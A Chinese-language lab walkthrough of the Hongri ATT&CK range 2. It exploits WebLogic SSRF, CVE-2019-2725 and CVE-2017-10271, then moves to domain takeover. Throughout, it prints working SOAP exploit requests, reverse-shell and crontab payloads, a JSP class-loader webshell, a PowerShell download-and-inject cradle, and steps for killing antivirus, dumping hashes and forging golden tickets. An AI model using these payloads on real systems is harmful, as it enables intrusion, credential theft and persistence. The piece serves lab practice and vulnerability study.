红日安全团队ATT&CK(二)实战系列靶场
2022-9-15 23:40:7 Author: xz.aliyun.com(查看原文) 阅读量:45 收藏

环境搭建

还原一下快照

登录web主机 使用密码 de1ay [email protected]登录进去

进去之后进到这个目录下面,无权限时可以输入 管理员账号密码:Administrator/[email protected]

C:\Oracle\Middleware\user_projects\domains\base_domain\bin

以管理员身份运行

WEB机和PC机:计算机右键->管理->配置->服务->Server、Workstation、Computer Browser 全部启动(Computer Browser 一直自动关闭导致 net view 显示 6118 error 没能解决,在域信息收集时暂时关闭一下防火墙)

信息收集

收集ip

nmap -sP 192.168.111.2/24

收集80的具体信息

nmap -sS -sV -A -T4 -p- 192.168.111.80

  • 445端口开放可能存在smb服务可能还会有ms17-010 端口溢出漏洞
  • 139端口开放就存在有samba服务可能会有远程命令执行漏洞
  • 1433端口开放就存在mssql服务有可能存在爆破 注入 sa弱口令
  • 3389远程桌面服务
  • 7001端口 weblogic服务

外网

https://github.com/dr0op/WeblogicScan

weblogic SSRF

简单测试

cd vulhub/weblogic/ssrf/
docker-compose up -d
docker ps

可以看到开启了连个服务 一个是weblogic 另一个是 redis

同样我们先扫描一下

我们对operator进行修改操作,发现当端口开放的时候会返回404

当端口不存在的时候就会显示服务连接不上

师傅总结的五种状态

状态一

状态二

状态三

状态四

状态五

首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现172.18.0.2:6379可以连通

定时任务payload

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.111.128/7777 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.111.128%2F7777%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0Aconfig%20set%20dir%20%2Fetc%2F%0Aconfig%20set%20dbfilename%20crontab%0Asave

替换%0A为%0A%0D

strs = """set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.111.128%2F7777%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0Aconfig%20set%20dir%20%2Fetc%2F%0Aconfig%20set%20dbfilename%20crontab%0Asave"""
print(strs.replace("%0A","%0A%0D"))

在拼接到redis请求之中

http://172.18.0.2:6379/ww%0A%0D%0A%0Dset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.111.128%2F7777%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0A%0Dconfig%20set%20dir%20%2Fetc%2F%0A%0Dconfig%20set%20dbfilename%20crontab%0A%0Dsave

调试分析

修改docker-compose.yml,增加8888端口映射

vim docker-compose.yml

重启docker

docker stop `docker ps -q`
docker-compose up -d

查看id

docker ps

进入容器

docker exec -it 5891c1ca1078  bash
cd /root/Oracle/Middleware/user_projects/domains/base_domain/bin
vi setDomainEnv.sh

debugFlag="true"
export debugFlag
DEBUG_PORT=8888

重新启动容器

docker restart 5891c1ca1078

获取weblogic的源码

docker cp 5891c1ca1078:/root ./weblogic_jars

将所有jar包放到一个目录下面

mkdir weblogic_jars/lib
find ./weblogic_jars -name *.jar -exec cp {} ./weblogic_jars/lib/ \;

idea打开下面的wlserver_10.3

添加jar包

添加 jdk

如果不行就把防护墙关了

这里呢我们要找到正确调试的位置要在反编译的class下面下断点.我们先去看看要调试那个class文件

查看一个docker的日志

docker logs 5891c1ca1078

我们找到然后下好断点

成功接收到了

这里调试主要关注点是对于operator参数值的传递 从sendMessage函数开始,这里sendMessage接收到operator的参数值

sendMessage函数中利用BindFactory创建了一个工厂类,又创建了一个BindingInfo对象

工厂类会通过BindingInfo的内容来决定创建的Bind对象的类型

这里BindingInfo的getTransport函数默认为http11

最后工厂类创建的对象为Http11ClientBinding

通过Http11ClientBinding调用send函数来发起请求,这里可以看出直接向url参数中的地址发起连接,没有进行任何的校验。所以存在CRLF的问题

weblogic CVE-2019-2725

环境搭建

下载jdk

https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html#jdk-7u80-oth-JPR

下载weblogic

https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html

上传上去

tar -zxvf jdk-7u80-linux-x64.tar.gz 
解压

记一下解压后的文件名 jdk1.7.0_80

export JAVA_HOME=/usr/lib/jvm/jdk1.7.0_80
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH
sudo vim ~/.bashrc

reboot
重启一下

说明环境配好了

命令行安装

java -jar wls1036_generic.jar -mode=console

cd /root/Oracle/Middleware/wlserver_10.3/common/bin/

修改完之后要输入下一步

cd /root/Oracle/Middleware/wlserver_10.3/common/lib/n/wanan
 ./startWebLogic.sh

http://192.168.111.129:7001/_async/AsyncResponseService

访问这个目录若返回200表示漏洞存在如果返回404则不存在

http://192.168.111.129:7001/_async/

访问这个目录若返回403表示漏洞存在,如果返回404表示漏洞不存在

利用前可以先看下有无wget命令

<%!
    class U extends ClassLoader{
//        定义一个U class继承ClassLoader
        U(ClassLoader c){
            super(c);
        }
//        调用父类的初始化
        public Class g(byte[] b){
            return super.defineClass(b,0, b.length);
//            调用父类的defineClass将得到的字节流数组传进入
        }
    }

    public byte[] base64Decode(String str) throws Exception{
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(),str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object getDecoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) getDecoder.getClass().getMethod("decode",String.class).invoke(getDecoder,str);
        }
//      通过两种方法进行base64解码


    }

%>
<%
    String cls = request.getParameter("wanan");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

查看一下写到哪里/_async/AsyncResponseService?info

访问/_async/_async/AsyncResponseService

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.111.129:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 851
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://192.168.111.1/wanan.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/wan.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

蚁剑连接一下

反弹shell

bash -i >& /dev/tcp/target ip/target port 0>&1
这里>&需要转换,否则无法利用
例:
bash -i >& /dev/tcp/192.168.111.128/7777 0>&1

weblogic CVE-2017-10271

要跟上一个环境分开的话就重启一下

reboot
cd /root/vulnhub/weblogic/CVE-2017-10271/
vim docker-compose.yml

cd /root/Oracle/Middleware/user_projects/domains/base_domain/bin
vi setDomainEnv.sh

debugFlag="true"
export debugFlag
DEBUG_PORT=8888

docker cp 51bde427044b:/root ./weblogic_jars
mkdir weblogic_jars/10271
find ./weblogic_jars -name *.jar -exec cp {} ./weblogic_jars/10271/ \;

打开wlserver_10.3

打个断点

http://192.168.111.129:7001/wls-wsat/CoordinatorPortType

访问这个路径 显示以下页面可能存在漏洞

下面的也可以尝试

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.111.129:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml
Content-Length: 641

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.111.128/7777 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

VE-2017-10271漏洞主要是由WebLogic Server WLS组件远程命令执行漏洞,主要由wls-wsat.war触发该漏洞,触发漏洞url如下: http://192.168.xx.xx:7001/wls-wsat/CoordinatorPortType post数据包,通过构造构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞。

在weblogic/wsee/jaxws/workcontext/WorkContextServerTube类的processRequest方法中,处理POST数据包中的XML数据。var1即是传入的xml数据

到readHeaderOld方法中,处理读取的xml

前面获取了xml,使用ByteArrayOutputStream转换成了字节流赋值给var4,然后调用了WorkContextXmlInputAdapter传入了var4

继续跟进几个方法后,到了WorkContextLocalMap#receiveRequest,165行调用了WorkContextEntryImpl的readEntry方法

跟进readUTF,在这里进行了xmlDecoder.readObject触发了xmlDecoder的反序列化,执行了ProcessBuilder.start()

利用CVE-2019-2725写shell

把shell写到images目录中

\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\wan.jsp

http://192.168.111.80:7001/console/framework/skins/wlsconsole/images/wan.jsp

内网

下载PowerSploit

git clone https://github.com/PowerShellMafia/PowerSploit.git

生成木马

msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe lhost=192.168.111.80 lport=4444 -o ./shell.exe

转换成base64

cat shell.exe | base64 >base64.txt

开启监听

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.111.128
set lport 4444
run

python起一个网络服务

python3 -m http.server

远程加载powershell的pe反射模块

iex(New-Object Net.WebClient).DownloadString("http://192.168.111.128:8000/PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1")

继续加载base64编码后的payload,赋值给一个变量

$b64Str = (New-Object Net.WebClient).DownloadString("http://192.168.111.128:8000/base64.txt")

靶机解码payload

$PEBytes = [System.Convert]::FromBase64String($b64Str)

反射调用

Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR

把上面的写成脚本 wan.ps1

iex(New-Object Net.WebClient).DownloadString("http://192.168.111.128:8000/PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1");  $b64Str = (New-Object Net.WebClient).DownloadString("http://192.168.111.128:8000/base64.txt") ;  $PEBytes = [System.Convert]::FromBase64String($b64Str) ;  Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR

powershell -ExecutionPolicy Bypass -File C:/Windows/wan.ps1

弹不上来 但是本地尝试可以

换种方法

use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.111.128
set lport 5555
run

输出的东西都一样还是弹不上来

在换一种方式

use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
set payload  windows/x64/meterpreter/reverse_tcp 
set LHOST 192.168.111.128
set rhosts 192.168.111.80
set target Windows
run

迁移进程

ps -ef | grep svchost.exe
migrate 632

成功获取到system权限

查看杀软

尝试杀一下

ps | grep 360

虽然杀了但是又重启了

我们尝试出入360的主动防御

我还没杀就自己没了?

我们在把主动防御杀了.先迁移回去

可以看到360确实被我们干死了

派生给cs

use windows/local/payload_inject
set disablepayloadhandler true
set payload windows/meterpreter/reverse_http
set lhost 192.168.111.129 #teamserver 地址
set lport 5555  #非会话监听地址
set session 3 #会话session id
exploit

看一下上面一样就好

成功接收到会话

抓密码

收集一下信息 在一里面命令挺全的了,这里就拿重要的来了

shell ipconfig/all

双网卡

域下信息收集不到的话,就去全部换原一下快照

net view

shell net user /domain

shell net group "domain controllers" /domain
查看域控制器

shell net group "domain computers" /domain
查看当前域成员计算机列表

psexec 是微软 pstools 工具包中最常用的一个工具,也是在内网渗透中的免杀渗透利器。psexec 能够在命令行下在对方没有开启 telnet 服务的时候返回一个半交互的命令行,像 telnet 客户端一样。原理是基于IPC共享,所以要目标打开 445 端口。另外在启动这个 psexec 建立连接之后对方机器上会被安装一个服务。

利用 psexec 横向移动至DC,域控成功上线。

成功上线

权限维持

在域控获得KRBTGT账户NTLM密码哈希和SID

hashdump

logonpasswords

黄金票据利用

黄金票据是伪造票据授予票据(TGT),也被称为认证票据,TGT仅用于向域服务器上的密钥分配中心(KDC)证明用户已经被其他的域控制器认证

黄金票据的条件

  1. 域名城
  2. 域的sid值
  3. 域的krbtgt账户htlm密码哈希
  4. 伪造用户名

黄金票据可以在拥有普通域用户权限和krbtgt账户的hash的情况下用来获取域管理员权限,上面已经获取了域控的system权限了,还可以使用黄金票据做权限维持,当域控制器权限掉了之后,在通过域内其他任意机器伪造票据重新湖区最高权限


文章来源: https://xz.aliyun.com/t/11676
如有侵权请联系:admin#unsafe.sh